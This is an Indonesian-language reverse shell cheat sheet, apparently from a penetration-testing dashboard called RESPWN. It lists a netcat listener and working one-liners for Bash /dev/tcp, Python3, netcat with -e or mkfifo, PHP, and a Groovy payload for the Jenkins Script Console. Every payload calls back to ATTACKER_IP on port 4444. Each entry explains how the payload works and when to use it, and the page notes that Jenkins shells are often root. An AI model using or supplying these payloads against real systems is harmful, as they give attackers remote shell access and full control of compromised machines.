Reverse Shell Payload
One-liner untuk membuat koneksi reverse shell dari target ke attacker. Konsep: target membuka koneksi keluar (outbound) ke attacker — lebih mudah melewati firewall daripada bind shell. Setup nc listener di attacker SEBELUM mengirim payload.
NC Listener (Attacker)
Netcat listener yang menunggu koneksi masuk dari target. Flags: `-l` = listen mode, `-v` = verbose (tampilkan info koneksi), `-n` = no DNS lookup (lebih cepat, tidak bocor ke DNS), `-p 4444` = port yang digunakan. Harus aktif SEBELUM payload dieksekusi di target — jika listener belum siap saat payload jalan, koneksi langsung gagal dan payload harus dijalankan ulang. `rlwrap` menambahkan arrow key, Ctrl+R history search, dan line editing — sangat disarankan untuk kenyamanan.
nc -lvnp 4444
Dengan rlwrap (arrow key + history):
rlwrap nc -lvnp 4444
Kapan dipakai: Step PERTAMA sebelum apapun. Jalankan ini dulu di terminal attacker, baru trigger payload di target.
Bash TCP
Memanfaatkan fitur built-in Bash: `/dev/tcp/HOST/PORT` adalah pseudo-device yang membuka TCP connection saat dibuka. `>&` redirect stdout dan stderr ke socket. `0>&1` redirect stdin dari socket (sehingga input dari attacker masuk ke bash). Tidak butuh executable eksternal sama sekali — murni bash built-in. Gagal jika: (1) sistem pakai dash/sh bukan bash (cek: `ls -la /bin/sh`), (2) bash dikompilasi tanpa --enable-net-redirections.
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
Via bash -c (command injection / web shell):
bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
Kapan dipakai: Coba ini PERTAMA — paling simpel, tidak butuh tools tambahan
Note: Hanya bekerja di bash. Jika /bin/sh → dash (cek dengan ls -la /bin/sh), gunakan metode lain
Python3
Membuat TCP socket (`socket.socket()`), connect ke attacker, lalu `os.dup2()` menduplikasi file descriptor socket ke stdin(0), stdout(1), stderr(2) — artinya semua I/O bash dialihkan lewat socket. `subprocess.call(["/bin/bash"])` spawn bash dengan I/O yang sudah di-redirect. Lebih portable dari bash /dev/tcp karena bekerja di shell apapun yang bisa eksekusi python3.
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash"])'
Kapan dipakai: Jika bash /dev/tcp tidak bekerja, atau target pakai sh/dash bukan bash
Netcat (-e dan mkfifo)
Flag `-e` membuat nc mengeksekusi program saat connect dan menghubungkan I/O-nya ke socket — cara paling simpel. Masalah: netcat-openbsd (default di Debian/Ubuntu) sengaja tidak include `-e` karena security. Gunakan versi mkfifo sebagai alternatif: `mkfifo /tmp/f` buat named pipe → `cat /tmp/f` baca dari pipe → pipe ke bash → output bash dikirim ke nc → nc tulis ke pipe (menciptakan loop I/O dua arah).
nc -e /bin/bash ATTACKER_IP 4444
mkfifo — untuk nc tanpa flag -e:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f
Kapan dipakai: Cek support -e dulu: nc -h 2>&1 | grep -i exec. Jika tidak ada, gunakan mkfifo.
Note: Debian/Ubuntu pakai netcat-openbsd — tidak ada -e. Gunakan mkfifo atau metode lain.
PHP
`fsockopen()` membuka TCP connection dan mengembalikan file descriptor (biasanya fd=3). `exec()` menjalankan bash dengan I/O di-redirect ke fd 3: `<&3` = stdin dari socket, `>&3` = stdout ke socket, `2>&3` = stderr ke socket. Berguna saat mendapat RCE melalui: command injection di form input, SSTI yang berhasil execute code, atau file upload web shell (.php). Hampir selalu tersedia di server PHP.
php -r '$sock=fsockopen("ATTACKER_IP",4444);exec("/bin/bash -i <&3 >&3 2>&3");'
Kapan dipakai: Target adalah web server dengan PHP dan ada RCE (command injection, SSTI, upload shell)
Groovy (Jenkins / Java)
Reverse shell murni Groovy/Java tanpa tool eksternal. `ProcessBuilder(cmd)` spawn /bin/bash, `Socket(host,port)` membuka koneksi keluar ke attacker, lalu loop menyalin byte dua arah antara stream proses (stdin/stdout/stderr) dan socket. Vektor utama: Jenkins Script Console (Manage Jenkins → Script Console, atau langsung /script) yang mengeksekusi Groovy arbitrary — sering memberi shell langsung sebagai root karena Jenkins kerap berjalan sebagai root sehingga tidak perlu privilege escalation.
String host="ATTACKER_IP";int port=4444;String cmd="/bin/bash";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
Untuk target Windows (cmd.exe):
String host="ATTACKER_IP";int port=4444;String cmd="cmd.exe"; /* sisa payload sama */
Kapan dipakai: Dapat akses Jenkins Script Console (/script) atau aplikasi Java/Groovy yang bisa eval kode. Setup nc listener (revshell-listener) dulu sebelum klik Run.
Note: Untuk Windows ganti cmd="/bin/bash" menjadi cmd="cmd.exe". Jenkins biasanya jalan sebagai root → shell langsung root.
← RESPWN Dashboard